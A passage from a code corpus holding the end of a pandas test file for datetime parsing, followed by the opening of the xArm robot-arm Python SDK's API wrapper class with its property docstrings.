cache=cache) == "2015-02-32" ) assert ( to_datetime("2015-04-31", errors="ignore", format="%Y-%m-%d", cache=cache) == "2015-04-31" ) class TestDatetimeParsingWrappers: @pytest.mark.parametrize( "date_str,expected", list( { "2011-01-01": datetime(2011, 1, 1), "2Q2005": datetime(2005, 4, 1), "2Q05": datetime(2005, 4, 1), "2005Q1": datetime(2005, 1, 1), "05Q1": datetime(2005, 1, 1), "2011Q3": datetime(2011, 7, 1), "11Q3": datetime(2011, 7, 1), "3Q2011": datetime(2011, 7, 1), "3Q11": datetime(2011, 7, 1), # quarterly without space "2000Q4": datetime(2000, 10, 1), "00Q4": datetime(2000, 10, 1), "4Q2000": datetime(2000, 10, 1), "4Q00": datetime(2000, 10, 1), "2000q4": datetime(2000, 10, 1), "2000-Q4": datetime(2000, 10, 1), "00-Q4": datetime(2000, 10, 1), "4Q-2000": datetime(2000, 10, 1), "4Q-00": datetime(2000, 10, 1), "00q4": datetime(2000, 10, 1), "2005": datetime(2005, 1, 1), "2005-11": datetime(2005, 11, 1), "2005 11": datetime(2005, 11, 1), "11-2005": datetime(2005, 11, 1), "11 2005": datetime(2005, 11, 1), "200511": datetime(2020, 5, 11), "20051109": datetime(2005, 11, 9), "20051109 10:15": datetime(2005, 11, 9, 10, 15), "20051109 08H": datetime(2005, 11, 9, 8, 0), "2005-11-09 10:15": datetime(2005, 11, 9, 10, 15), "2005-11-09 08H": datetime(2005, 11, 9, 8, 0), "2005/11/09 10:15": datetime(2005, 11, 9, 10, 15), "2005/11/09 08H": datetime(2005, 11, 9, 8, 0), "Thu Sep 25 10:36:28 2003": datetime(2003, 9, 25, 10, 36, 28), "Thu Sep 25 2003": datetime(2003, 9, 25), "Sep 25 2003": datetime(2003, 9, 25), "January 1 2014": datetime(2014, 1, 1), # GHE10537 "2014-06": datetime(2014, 6, 1), "06-2014": datetime(2014, 6, 1), "2014-6": datetime(2014, 6, 1), "6-2014": datetime(2014, 6, 1), "20010101 12": datetime(2001, 1, 1, 12), "20010101 1234": datetime(2001, 1, 1, 12, 34), "20010101 123456": datetime(2001, 1, 1, 12, 34, 56), }.items() ), ) @pytest.mark.parametrize("cache", [True, False]) def test_parsers(self, date_str, expected, cache): # dateutil >= 2.5.0 defaults to yearfirst=True # https://github.com/dateutil/dateutil/issues/217 yearfirst = True result1, _ = parsing.parse_time_string(date_str, yearfirst=yearfirst) result2 = to_datetime(date_str, yearfirst=yearfirst) result3 = to_datetime([date_str], yearfirst=yearfirst) # result5 is used below result4 = to_datetime( np.array([date_str], dtype=object), yearfirst=yearfirst, cache=cache ) result6 = DatetimeIndex([date_str], yearfirst=yearfirst) # result7 is used below result8 = DatetimeIndex(Index([date_str]), yearfirst=yearfirst) result9 = DatetimeIndex(Series([date_str]), yearfirst=yearfirst) for res in [result1, result2]: assert res == expected for res in [result3, result4, result6, result8, result9]: exp = DatetimeIndex([Timestamp(expected)]) tm.assert_index_equal(res, exp) # these really need to have yearfirst, but we don't support if not yearfirst: result5 = Timestamp(date_str) assert result5 == expected result7 = date_range(date_str, freq="S", periods=1, yearfirst=yearfirst) assert result7 == expected @pytest.mark.parametrize("cache", [True, False]) def test_na_values_with_cache( self, cache, unique_nulls_fixture, unique_nulls_fixture2 ): # GH22305 expected = Index([NaT, NaT], dtype="datetime64[ns]") result = to_datetime([unique_nulls_fixture, unique_nulls_fixture2], cache=cache) tm.assert_index_equal(result, expected) def test_parsers_nat(self): # Test that each of several string-accepting methods return pd.NaT result1, _ = parsing.parse_time_string("NaT") result2 = to_datetime("NaT") result3 = Timestamp("NaT") result4 = DatetimeIndex(["NaT"])[0] assert result1 is NaT assert result2 is NaT assert result3 is NaT assert result4 is NaT @pytest.mark.parametrize("cache", [True, False]) def test_parsers_dayfirst_yearfirst(self, cache): # OK # 2.5.1 10-11-12 [dayfirst=0, yearfirst=0] -> 2012-10-11 00:00:00 # 2.5.2 10-11-12 [dayfirst=0, yearfirst=1] -> 2012-10-11 00:00:00 # 2.5.3 10-11-12 [dayfirst=0, yearfirst=0] -> 2012-10-11 00:00:00 # OK # 2.5.1 10-11-12 [dayfirst=0, yearfirst=1] -> 2010-11-12 00:00:00 # 2.5.2 10-11-12 [dayfirst=0, yearfirst=1] -> 2010-11-12 00:00:00 # 2.5.3 10-11-12 [dayfirst=0, yearfirst=1] -> 2010-11-12 00:00:00 # bug fix in 2.5.2 # 2.5.1 10-11-12 [dayfirst=1, yearfirst=1] -> 2010-11-12 00:00:00 # 2.5.2 10-11-12 [dayfirst=1, yearfirst=1] -> 2010-12-11 00:00:00 # 2.5.3 10-11-12 [dayfirst=1, yearfirst=1] -> 2010-12-11 00:00:00 # OK # 2.5.1 10-11-12 [dayfirst=1, yearfirst=0] -> 2012-11-10 00:00:00 # 2.5.2 10-11-12 [dayfirst=1, yearfirst=0] -> 2012-11-10 00:00:00 # 2.5.3 10-11-12 [dayfirst=1, yearfirst=0] -> 2012-11-10 00:00:00 # OK # 2.5.1 20/12/21 [dayfirst=0, yearfirst=0] -> 2021-12-20 00:00:00 # 2.5.2 20/12/21 [dayfirst=0, yearfirst=0] -> 2021-12-20 00:00:00 # 2.5.3 20/12/21 [dayfirst=0, yearfirst=0] -> 2021-12-20 00:00:00 # OK # 2.5.1 20/12/21 [dayfirst=0, yearfirst=1] -> 2020-12-21 00:00:00 # 2.5.2 20/12/21 [dayfirst=0, yearfirst=1] -> 2020-12-21 00:00:00 # 2.5.3 20/12/21 [dayfirst=0, yearfirst=1] -> 2020-12-21 00:00:00 # revert of bug in 2.5.2 # 2.5.1 20/12/21 [dayfirst=1, yearfirst=1] -> 2020-12-21 00:00:00 # 2.5.2 20/12/21 [dayfirst=1, yearfirst=1] -> month must be in 1..12 # 2.5.3 20/12/21 [dayfirst=1, yearfirst=1] -> 2020-12-21 00:00:00 # OK # 2.5.1 20/12/21 [dayfirst=1, yearfirst=0] -> 2021-12-20 00:00:00 # 2.5.2 20/12/21 [dayfirst=1, yearfirst=0] -> 2021-12-20 00:00:00 # 2.5.3 20/12/21 [dayfirst=1, yearfirst=0] -> 2021-12-20 00:00:00 # str : dayfirst, yearfirst, expected cases = { "10-11-12": [ (False, False, datetime(2012, 10, 11)), (True, False, datetime(2012, 11, 10)), (False, True, datetime(2010, 11, 12)), (True, True, datetime(2010, 12, 11)), ], "20/12/21": [ (False, False, datetime(2021, 12, 20)), (True, False, datetime(2021, 12, 20)), (False, True, datetime(2020, 12, 21)), (True, True, datetime(2020, 12, 21)), ], } for date_str, values in cases.items(): for dayfirst, yearfirst, expected in values: # compare with dateutil result dateutil_result = parse( date_str, dayfirst=dayfirst, yearfirst=yearfirst ) assert dateutil_result == expected result1, _ = parsing.parse_time_string( date_str, dayfirst=dayfirst, yearfirst=yearfirst ) # we don't support dayfirst/yearfirst here: if not dayfirst and not yearfirst: result2 = Timestamp(date_str) assert result2 == expected result3 = to_datetime( date_str, dayfirst=dayfirst, yearfirst=yearfirst, cache=cache ) result4 = DatetimeIndex( [date_str], dayfirst=dayfirst, yearfirst=yearfirst )[0] assert result1 == expected assert result3 == expected assert result4 == expected @pytest.mark.parametrize("cache", [True, False]) def test_parsers_timestring(self, cache): # must be the same as dateutil result cases = { "10:15": (parse("10:15"), datetime(1, 1, 1, 10, 15)), "9:05": (parse("9:05"), datetime(1, 1, 1, 9, 5)), } for date_str, (exp_now, exp_def) in cases.items(): result1, _ = parsing.parse_time_string(date_str) result2 = to_datetime(date_str) result3 = to_datetime([date_str]) result4 = Timestamp(date_str) result5 = DatetimeIndex([date_str])[0] # parse time string return time string based on default date # others are not, and can't be changed because it is used in # time series plot assert result1 == exp_def assert result2 == exp_now assert result3 == exp_now assert result4 == exp_now assert result5 == exp_now @pytest.mark.parametrize("cache", [True, False]) @pytest.mark.parametrize( "dt_string, tz, dt_string_repr", [ ( "2013-01-01 05:45+0545", pytz.FixedOffset(345), "Timestamp('2013-01-01 05:45:00+0545', tz='pytz.FixedOffset(345)')", ), ( "2013-01-01 05:30+0530", pytz.FixedOffset(330), "Timestamp('2013-01-01 05:30:00+0530', tz='pytz.FixedOffset(330)')", ), ], ) def test_parsers_timezone_minute_offsets_roundtrip( self, cache, dt_string, tz, dt_string_repr ): # GH11708 base = to_datetime("2013-01-01 00:00:00", cache=cache) base = base.tz_localize("UTC").tz_convert(tz) dt_time = to_datetime(dt_string, cache=cache) assert base == dt_time assert dt_string_repr == repr(dt_time) @pytest.fixture(params=["D", "s", "ms", "us", "ns"]) def units(request): """Day and some time units. * D * s * ms * us * ns """ return request.param @pytest.fixture def epoch_1960(): """Timestamp at 1960-01-01.""" return Timestamp("1960-01-01") @pytest.fixture def units_from_epochs(): return list(range(5)) @pytest.fixture(params=["timestamp", "pydatetime", "datetime64", "str_1960"]) def epochs(epoch_1960, request): """Timestamp at 1960-01-01 in various forms. * Timestamp * datetime.datetime * numpy.datetime64 * str """ assert request.param in {"timestamp", "pydatetime", "datetime64", "str_1960"} if request.param == "timestamp": return epoch_1960 elif request.param == "pydatetime": return epoch_1960.to_pydatetime() elif request.param == "datetime64": return epoch_1960.to_datetime64() else: return str(epoch_1960) @pytest.fixture def julian_dates(): return date_range("2014-1-1", periods=10).to_julian_date().values class TestOrigin: def test_to_basic(self, julian_dates): # gh-11276, gh-11745 # for origin as julian result = Series(to_datetime(julian_dates, unit="D", origin="julian")) expected = Series( to_datetime(julian_dates - Timestamp(0).to_julian_date(), unit="D") ) tm.assert_series_equal(result, expected) result = Series(to_datetime([0, 1, 2], unit="D", origin="unix")) expected = Series( [Timestamp("1970-01-01"), Timestamp("1970-01-02"), Timestamp("1970-01-03")] ) tm.assert_series_equal(result, expected) # default result = Series(to_datetime([0, 1, 2], unit="D")) expected = Series( [Timestamp("1970-01-01"), Timestamp("1970-01-02"), Timestamp("1970-01-03")] ) tm.assert_series_equal(result, expected) def test_julian_round_trip(self): result = to_datetime(2456658, origin="julian", unit="D") assert result.to_julian_date() == 2456658 # out-of-bounds msg = "1 is Out of Bounds for origin='julian'" with pytest.raises(ValueError, match=msg): to_datetime(1, origin="julian", unit="D") def test_invalid_unit(self, units, julian_dates): # checking for invalid combination of origin='julian' and unit != D if units != "D": msg = "unit must be 'D' for origin='julian'" with pytest.raises(ValueError, match=msg): to_datetime(julian_dates, unit=units, origin="julian") def test_invalid_origin(self): # need to have a numeric specified msg = "it must be numeric with a unit specified" with pytest.raises(ValueError, match=msg): to_datetime("2005-01-01", origin="1960-01-01") with pytest.raises(ValueError, match=msg): to_datetime("2005-01-01", origin="1960-01-01", unit="D") def test_epoch(self, units, epochs, epoch_1960, units_from_epochs): expected = Series( [pd.Timedelta(x, unit=units) + epoch_1960 for x in units_from_epochs] ) result = Series(to_datetime(units_from_epochs, unit=units, origin=epochs)) tm.assert_series_equal(result, expected) @pytest.mark.parametrize( "origin, exc", [ ("random_string", ValueError), ("epoch", ValueError), ("13-24-1990", ValueError), (datetime(1, 1, 1), OutOfBoundsDatetime), ], ) def test_invalid_origins(self, origin, exc, units, units_from_epochs): msg = f"origin {origin} (is Out of Bounds|cannot be converted to a Timestamp)" with pytest.raises(exc, match=msg): to_datetime(units_from_epochs, unit=units, origin=origin) def test_invalid_origins_tzinfo(self): # GH16842 with pytest.raises(ValueError, match="must be tz-naive"): to_datetime(1, unit="D", origin=datetime(2000, 1, 1, tzinfo=pytz.utc)) @pytest.mark.parametrize("format", [None, "%Y-%m-%d %H:%M:%S"]) def test_to_datetime_out_of_bounds_with_format_arg(self, format): # see gh-23830 msg = "Out of bounds nanosecond timestamp" with pytest.raises(OutOfBoundsDatetime, match=msg): to_datetime("2417-10-27 00:00:00", format=format) def test_processing_order(self): # make sure we handle out-of-bounds *before* # constructing the dates result = to_datetime(200 * 365, unit="D") expected = Timestamp("2169-11-13 00:00:00") assert result == expected result = to_datetime(200 * 365, unit="D", origin="1870-01-01") expected = Timestamp("2069-11-13 00:00:00") assert result == expected result = to_datetime(300 * 365, unit="D", origin="1870-01-01") expected = Timestamp("2169-10-20 00:00:00") assert result == expected @pytest.mark.parametrize( "offset,utc,exp", [ ["Z", True, "2019-01-01T00:00:00.000Z"], ["Z", None, "2019-01-01T00:00:00.000Z"], ["-01:00", True, "2019-01-01T01:00:00.000Z"], ["-01:00", None, "2019-01-01T00:00:00.000-01:00"], ], ) def test_arg_tz_ns_unit(self, offset, utc, exp): # GH 25546 arg = "2019-01-01T00:00:00.000" + offset result = to_datetime([arg], unit="ns", utc=utc) expected = to_datetime([exp]) tm.assert_index_equal(result, expected) @pytest.mark.parametrize( "listlike,do_caching", [([1, 2, 3, 4, 5, 6, 7, 8, 9, 0], False), ([1, 1, 1, 1, 4, 5, 6, 7, 8, 9], True)], ) def test_should_cache(listlike, do_caching): assert ( tools.should_cache(listlike, check_count=len(listlike), unique_share=0.7) == do_caching ) @pytest.mark.parametrize( "unique_share,check_count, err_message", [ (0.5, 11, r"check_count must be in next bounds: \[0; len\(arg\)\]"), (10, 2, r"unique_share must be in next bounds: \(0; 1\)"), ], ) def test_should_cache_errors(unique_share, check_count, err_message): arg = [5] * 10 with pytest.raises(AssertionError, match=err_message): tools.should_cache(arg, unique_share, check_count) def test_nullable_integer_to_datetime(): # Test for #30050 ser = Series([1, 2, None, 2 ** 61, None]) ser = ser.astype("Int64") ser_copy = ser.copy() res = to_datetime(ser, unit="ns") expected = Series( [ np.datetime64("1970-01-01 00:00:00.000000001"), np.datetime64("1970-01-01 00:00:00.000000002"), np.datetime64("NaT"), np.datetime64("2043-01-25 23:56:49.213693952"), np.datetime64("NaT"), ] ) tm.assert_series_equal(res, expected) # Check that ser isn't mutated tm.assert_series_equal(ser, ser_copy) @pytest.mark.parametrize("klass", [np.array, list]) def test_na_to_datetime(nulls_fixture, klass): if isinstance(nulls_fixture, Decimal): with pytest.raises(TypeError, match="not convertible to datetime"): to_datetime(klass([nulls_fixture])) else: result = to_datetime(klass([nulls_fixture])) assert result[0] is NaT def test_empty_string_datetime_coerce__format(): # GH13044 td = Series(["03/24/2016", "03/25/2016", ""]) format = "%m/%d/%Y" # coerce empty string to pd.NaT result = to_datetime(td, format=format, errors="coerce") expected = Series(["2016-03-24", "2016-03-25", NaT], dtype="datetime64[ns]") tm.assert_series_equal(expected, result) # raise an exception in case a format is given with pytest.raises(ValueError, match="does not match format"): result = to_datetime(td, format=format, errors="raise") # don't raise an exception in case no format is given result = to_datetime(td, errors="raise") tm.assert_series_equal(result, expected) def test_empty_string_datetime_coerce__unit(): # GH13044 # coerce empty string to pd.NaT result = to_datetime([1, ""], unit="s", errors="coerce") expected = DatetimeIndex(["1970-01-01 00:00:01", "NaT"], dtype="datetime64[ns]") tm.assert_index_equal(expected, result) # verify that no exception is raised even when errors='raise' is set result = to_datetime([1, ""], unit="s", errors="raise") tm.assert_index_equal(expected, result) @td.skip_if_no("xarray") def test_xarray_coerce_unit(): # GH44053 import xarray as xr arr = xr.DataArray([1, 2, 3]) result = to_datetime(arr, unit="ns") expected = DatetimeIndex( [ "1970-01-01 00:00:00.000000001", "1970-01-01 00:00:00.000000002", "1970-01-01 00:00:00.000000003", ], dtype="datetime64[ns]", freq=None, ) tm.assert_index_equal(result, expected) @pytest.mark.parametrize("cache", [True, False]) def test_to_datetime_monotonic_increasing_index(cache): # GH28238 cstart = start_caching_at times = date_range(Timestamp("1980"), periods=cstart, freq="YS") times = times.to_frame(index=False, name="DT").sample(n=cstart, random_state=1) times.index = times.index.to_series().astype(float) / 1000 result = to_datetime(times.iloc[:, 0], cache=cache) expected = times.iloc[:, 0] tm.assert_series_equal(result, expected)
codeparrot/github-code-clean
#!/usr/bin/env python3 # Software License Agreement (BSD License) # # Copyright (c) 2018, UFACTORY, Inc. # All rights reserved. # # Author: Vinman <vinman.wen@ufactory.cc> <vinman.cub@gmail.com> from ..x3 import XArm, Studio class XArmAPI(object): def __init__(self, port=None, is_radian=False, do_not_open=False, **kwargs): """ The API wrapper of xArm Note: Orientation of attitude angle roll: rotate around the X axis pitch: rotate around the Y axis yaw: rotate around the Z axis :param port: ip-address(such as '192.168.1.185') Note: this parameter is required if parameter do_not_open is False :param is_radian: set the default unit is radians or not, default is False Note: (aim of design) 1. Default value for unified interface parameters 2: Unification of the external unit system 3. For compatibility with previous interfaces Note: the conversion of degree (°) and radians (rad) * 1 rad == 57.29577951308232 ° * 1 ° == 0.017453292519943295 rad * 1 rad/s == 57.29577951308232 °/s * 1 °/s == 0.017453292519943295 rad/s * 1 rad/s^2 == 57.29577951308232 °/s^2 * 1 °/s^2 == 0.017453292519943295 rad/s^2 * 1 rad/s^3 == 57.29577951308232 °/s^3 * 1 °/s^3 == 0.017453292519943295 rad/s^3 Note: This parameter determines the value of the property self.default_is_radian Note: This parameter determines the default value of the interface with the is_radian/input_is_radian/return_is_radian parameter The list of affected interfaces is as follows: 1. method: get_position 2. method: set_position 3. method: get_servo_angle 4. method: set_servo_angle 5. method: set_servo_angle_j 6. method: move_gohome 7. method: reset 8. method: set_tcp_offset 9. method: set_joint_jerk 10. method: set_joint_maxacc 11. method: get_inverse_kinematics 12. method: get_forward_kinematics 13. method: is_tcp_limit 14. method: is_joint_limit 15. method: get_params 16: method: move_arc_lines 17: method: move_circle 18: method: set_servo_cartesian Note: This parameter determines the default return type for some interfaces (such as the position, velocity, and acceleration associated with the return angle arc). The affected attributes are as follows: 1. property: position 2. property: last_used_position 3. property: angles 4. property: last_used_angles 5. property: last_used_joint_speed 6. property: last_used_joint_acc 7. property: tcp_offset :param do_not_open: do not open, default is False, if true, you need to manually call the connect interface. :param kwargs: keyword parameters, generally do not need to set axis: number of axes, required only when using a serial port connection, default is 7 baudrate: serial baudrate, invalid, reserved. timeout: serial timeout, invalid, reserved. filters: serial port filters, invalid, reserved. check_tcp_limit: check the tcp param value out of limit or not, default is False Note: only check the param roll/pitch/yaw of the interface `set_position`/`move_arc_lines` check_joint_limit: check the joint param value out of limit or not, default is True Note: only check the param angle of the interface `set_servo_angle` and the param angles of the interface `set_servo_angle_j` check_cmdnum_limit: check the cmdnum out of limit or not, default is True max_cmdnum: max cmdnum, default is 256 Note: only available in the param `check_cmdnum_limit` is True check_is_ready: check if the arm is in motion, default is True """ self._arm = XArm(port=port, is_radian=is_radian, do_not_open=do_not_open, instance=self, **kwargs) self._studio = Studio(port, True) self.__attr_alias_map = { 'get_ik': self.get_inverse_kinematics, 'get_fk': self.get_forward_kinematics, 'set_sleep_time': self.set_pause_time, 'register_maable_mtbrake_changed_callback': self.register_mtable_mtbrake_changed_callback, 'release_maable_mtbrake_changed_callback': self.release_mtable_mtbrake_changed_callback, 'position_offset': self.tcp_offset, 'get_gpio_digital': self.get_tgpio_digital, 'set_gpio_digital': self.set_tgpio_digital, 'get_gpio_analog': self.get_tgpio_analog, 'set_fense_mode': self.set_fence_mode, 'get_suction_cup': self.get_vacuum_gripper, 'set_suction_cup': self.set_vacuum_gripper, } def __getattr__(self, item): if item in self.__attr_alias_map.keys(): return self.__attr_alias_map[item] raise AttributeError('\'{}\' has not attribute \'{}\''.format(self.__class__.__name__, item)) @property def arm(self): return self._arm @property def core(self): """ Core layer API, set only for advanced developers, please do not use Ex: self.core.move_line(...) self.core.move_lineb(...) self.core.move_joint(...) ... """ return self._arm.arm_cmd @property def count(self): """ Counter val """ return self._arm.count @property def realtime_tcp_speed(self): """ The real time speed of tcp motion, only available if version > 1.2.11 :return: real time speed (mm/s) """ return self._arm.realtime_tcp_speed @property def realtime_joint_speeds(self): """ The real time speed of joint motion, only available if version > 1.2.11 :return: [joint-1-speed(°/s or rad/s), ...., joint-7-speed(°/s or rad/s)] """ return self._arm.realtime_joint_speeds @property def gpio_reset_config(self): """ The gpio reset enable config :return: [cgpio_reset_enable, tgpio_reset_enable] """ return self._arm.gpio_reset_config @property def version_number(self): """ Frimware version number :return: (major_version_number, minor_version_number, revision_version_number) """ return self._arm.version_number @property def connected(self): """ Connection status """ return self._arm.connected @property def default_is_radian(self): """ The default unit is radians or not """ return self._arm.default_is_radian @property def version(self): """ xArm version """ return self._arm.version @property def sn(self): """ xArm sn """ return self._arm.sn @property def control_box_sn(self): """ Control box sn """ return self._arm.control_box_sn @property def position(self): """ Cartesion position Note: 1. If self.default_is_radian is True, the returned value (only roll/pitch/yaw) is in radians return: [x(mm), y(mm), z(mm), roll(° or rad), pitch(° or rad), yaw(° or rad)] """ return self._arm.position @property def position_aa(self): """ The pose represented by the axis angle pose Note: 1. If self.default_is_radian is True, the returned value (only roll/pitch/yaw) is in radians :return: [x(mm), y(mm), z(mm), rx(° or rad), ry(° or rad), rz(° or rad)] """ return self._arm.position_aa @property def last_used_position(self): """ The last used cartesion position, default value of parameter x/y/z/roll/pitch/yaw of interface set_position Note: 1. If self.default_is_radian is True, the returned value (only roll/pitch/yaw) is in radians 2. self.set_position(x=300) <==> self.set_position(x=300, *last_used_position[1:]) 2. self.set_position(roll=-180) <==> self.set_position(x=self.last_used_position[:3], roll=-180, *self.last_used_position[4:]) :return: [x(mm), y(mm), z(mm), roll(° or rad), pitch(° or rad), yaw(° or rad)] """ return self._arm.last_used_position @property def tcp_jerk(self): """ Tcp jerk :return: jerk (mm/s^3) """ return self._arm.tcp_jerk @property def tcp_speed_limit(self): """ Tcp speed limit, only available in socket way and enable_report is True and report_type is 'rich' :return: [min_tcp_speed(mm/s), max_tcp_speed(mm/s)] """ return self._arm.tcp_speed_limit @property def tcp_acc_limit(self): """ Tcp acceleration limit, only available in socket way and enable_report is True and report_type is 'rich' :return: [min_tcp_acc(mm/s^2), max_tcp_acc(mm/s^2)] """ return self._arm.tcp_acc_limit @property def last_used_tcp_speed(self): """ The last used cartesion speed, default value of parameter speed of interface set_position/move_circle :return: speed (mm/s) """ return self._arm.last_used_tcp_speed @property def last_used_tcp_acc(self): """ The last used cartesion acceleration, default value of parameter mvacc of interface set_position/move_circle :return: acceleration (mm/s^2) """ return self._arm.last_used_tcp_acc @property def angles(self): """ Servo angles Note: 1. If self.default_is_radian is True, the returned value is in radians :return: [angle1(° or rad), angle2(° or rad), ..., anglen7(° or rad)] """ return self._arm.angles @property def joint_jerk(self): """ Joint jerk Note: 1. If self.default_is_radian is True, the returned value is in radians :return: jerk (°/s^3 or rad/s^3) """ return self._arm.joint_jerk @property def joint_speed_limit(self): """ Joint speed limit, only available in socket way and enable_report is True and report_type is 'rich' Note: 1. If self.default_is_radian is True, the returned value is in radians :return: [min_joint_speed(°/s or rad/s), max_joint_speed(°/s or rad/s)] """ return self._arm.joint_speed_limit @property def joint_acc_limit(self): """ Joint acceleration limit, only available in socket way and enable_report is True and report_type is 'rich' Note: 1. If self.default_is_radian is True, the returned value is in radians :return: [min_joint_acc(°/s^2 or rad/s^2), max_joint_acc(°/s^2 or rad/s^2)] """ return self._arm.joint_acc_limit @property def last_used_angles(self): """ The last used servo angles, default value of parameter angle of interface set_servo_angle Note: 1. If self.default_is_radian is True, the returned value is in radians 2. self.set_servo_angle(servo_id=1, angle=75) <==> self.set_servo_angle(angle=[75] + self.last_used_angles[1:]) 3. self.set_servo_angle(servo_id=5, angle=30) <==> self.set_servo_angle(angle=self.last_used_angles[:4] + [30] + self.last_used_angles[5:]) :return: [angle1(° or rad), angle2(° or rad), ..., angle7(° or rad)] """ return self._arm.last_used_angles @property def last_used_joint_speed(self): """ The last used joint speed, default value of parameter speed of interface set_servo_angle Note: 1. If self.default_is_radian is True, the returned value is in radians :return: speed (°/s or rad/s) """ return self._arm.last_used_joint_speed @property def last_used_joint_acc(self): """ The last used joint acceleration, default value of parameter mvacc of interface set_servo_angle Note: 1. If self.default_is_radian is True, the returned value is in radians :return: acceleration (°/s^2 or rad/s^2) """ return self._arm.last_used_joint_acc @property def tcp_offset(self): """ Cartesion position offset, only available in socket way and enable_report is True Note: 1. If self.default_is_radian is True, the returned value(roll_offset/pitch_offset/yaw_offset) is in radians :return: [x_offset(mm), y_offset(mm), z_offset(mm), roll_offset(° or rad), pitch_offset(° or rad), yaw_offset(° or rad)] """ return self._arm.position_offset @property def world_offset(self): """ Base coordinate offset, only available if version > 1.2.11 Note: 1. If self.default_is_radian is True, the returned value(roll_offset/pitch_offset/yaw_offset) is in radians :return: [x_offset(mm), y_offset(mm), z_offset(mm), roll_offset(° or rad), pitch_offset(° or rad), yaw_offset(° or rad)] """ return self._arm.world_offset @property def state(self): """ xArm state :return: 1: in motion 2: sleeping 3: suspended 4: stopping """ return self._arm.state @property def mode(self): """ xArm mode,only available in socket way and enable_report is True :return: 0: position control mode 1: servo motion mode 2: joint teaching mode 3: cartesian teaching mode (invalid) 4: joint velocity control mode 5: cartesian velocity control mode """ return self._arm.mode @property def is_simulation_robot(self): """ Is simulation robot not not """ return self._arm.is_simulation_robot @property def joints_torque(self): """ Joints torque, only available in socket way and enable_report is True and report_type is 'rich' :return: [joint-1, ....] """ return self._arm.joints_torque @property def tcp_load(self): """ xArm tcp load, only available in socket way and enable_report is True and report_type is 'rich' :return: [weight, center of gravity] such as: [weight(kg), [x(mm), y(mm), z(mm)]] """ return self._arm.tcp_load @property def collision_sensitivity(self): """ The sensitivity value of collision, only available in socket way and enable_report is True and report_type is 'rich' :return: 0~5 """ return self._arm.collision_sensitivity @property def teach_sensitivity(self): """ The sensitivity value of drag and teach, only available in socket way and enable_report is True and report_type is 'rich' :return: 1~5 """ return self._arm.teach_sensitivity @property def motor_brake_states(self): """ Motor brake state list, only available in socket way and enable_report is True and report_type is 'rich' Note: For a robot with a number of axes n, only the first n states are valid, and the latter are reserved. :return: [motor-1-brake-state, ..., motor-7-brake-state, reserved] motor-{i}-brake-state: 0: enable 1: disable """ return self._arm.motor_brake_states @property def motor_enable_states(self): """ Motor enable state list, only available in socket way and enable_report is True and report_type is 'rich' Note: For a robot with a number of axes n, only the first n states are valid, and the latter are reserved. :return: [motor-1-enable-state, ..., motor-7-enable-state, reserved] motor-{i}-enable-state: 0: disable 1: enable """ return self._arm.motor_enable_states @property def temperatures(self): """ Motor temperature, only available if version > 1.2.11 :return: [motor-1-temperature, ..., motor-7-temperature] """ return self._arm.temperatures @property def has_err_warn(self): """ Contorller have an error or warning or not :return: True/False """ return self._arm.has_err_warn @property def has_error(self): """ Controller have an error or not """ return self._arm.has_error @property def has_warn(self): """ Controller have an warnning or not """ return self._arm.has_warn @property def error_code(self): """ Controller error code. See Chapter 7 of the xArm User Manual for details. """ return self._arm.error_code @property def warn_code(self): """ Controller warn code. See Chapter 7 of the xArm User Manual for details. """ return self._arm.warn_code @property def cmd_num(self): """ Number of command caches in the controller """ return self._arm.cmd_num @property def device_type(self): """ Device type, only available in socket way and enable_report is True and report_type is 'rich' """ return self._arm.device_type @property def axis(self): """ Axis number, only available in socket way and enable_report is True and report_type is 'rich' """ return self._arm.axis @property def master_id(self): """ Master id, only available in socket way and enable_report is True and report_type is 'rich' """ return self._arm.master_id @property def slave_id(self): """ Slave id, only available in socket way and enable_report is True and report_type is 'rich' """ return self._arm.slave_id @property def gravity_direction(self): """ gravity direction, only available in socket way and enable_report is True and report_type is 'rich' :return: """ return self._arm.gravity_direction @property def servo_codes(self): """ Servos status and error_code :return: [ [servo-1-status, servo-1-code], ..., [servo-7-status, servo-7-code], [tool-gpio-status, tool-gpio-code] ] """ return self._arm.servo_codes @property def voltages(self): """ Servos voltage :return: [servo-1-voltage, ..., servo-7-voltage] """ return self._arm.voltages @property def currents(self): """ Servos electric current :return: [servo-1-current, ..., servo-7-current] """ return self._arm.currents @property def cgpio_states(self): """ Controller gpio state :return: states states[0]: contorller gpio module state states[0] == 0: normal states[0] == 1:wrong states[0] == 6:communication failure states[1]: controller gpio module error code states[1] == 0: normal states[1] != 0:error code states[2]: digital input functional gpio state Note: digital-i-input functional gpio state = states[2] >> i & 0x01 states[3]: digital input configuring gpio state Note: digital-i-input configuring gpio state = states[3] >> i & 0x01 states[4]: digital output functional gpio state Note: digital-i-output functional gpio state = states[4] >> i & 0x01 states[5]: digital output configuring gpio state Note: digital-i-output configuring gpio state = states[5] >> i & 0x01 states[6]: analog-0 input value states[7]: analog-1 input value states[8]: analog-0 output value states[9]: analog-1 output value states[10]: digital input functional info, [digital-0-input-functional-mode, ... digital-7-input-functional-mode] states[11]: digital output functional info, [digital-0-output-functional-mode, ... digital-7-output-functional-mode] """ return self._arm.cgpio_states @property def self_collision_params(self): """ Self collision params :return: params params[0]: self collision detection or not params[1]: self collision tool type params[2]: self collision model params """ return self._arm.self_collision_params @property def ft_ext_force(self): return self._arm.ft_ext_force @property def ft_raw_force(self): return self._arm.ft_raw_force def connect(self, port=None, baudrate=None, timeout=None, axis=None, **kwargs): """ Connect to xArm :param port: port name or the ip address, default is the value when initializing an instance :param baudrate: baudrate, only available in serial way, default is the value when initializing an instance :param timeout: timeout, only available in serial way, default is the value when initializing an instance :param axis: number of axes, required only when using a serial port connection, default is 7 """ self._arm.connect(port=port, baudrate=baudrate, timeout=timeout, axis=axis, **kwargs) def disconnect(self): """ Disconnect """ self._arm.disconnect() def send_cmd_sync(self, command=None): """ Send cmd and wait (only waiting the cmd response, not waiting for the movement) Note: 1. Some command depends on self.default_is_radian :param command: 'G1': 'set_position(MoveLine): G1 X{x} Y{y} Z{z} A{roll} B{pitch} C{yaw} F{speed} Q{acc} T{mvtime}' 'G2': 'move_circle: G2 X{x1} Y{y1} Z{z1} A{roll1} B{pitch1} C{yaw1} I{x2} J{y2} K{z2} L{roll2} M{pitch2} N{yaw2} F{speed} Q{acc} T{mvtime}' 'G4': 'set_pause_time: G4 T{second}' 'G7': 'set_servo_angle: G7 I{servo_1} J{servo_2} K{servo_3} L{servo_4} M{servo_5} N{servo_6} O{servo_7} F{speed} Q{acc} T{mvtime}' 'G8': 'move_gohome: G8 F{speed} Q{acc} T{mvtime}' 'G9': 'set_position(MoveArcLine): G9 X{x} 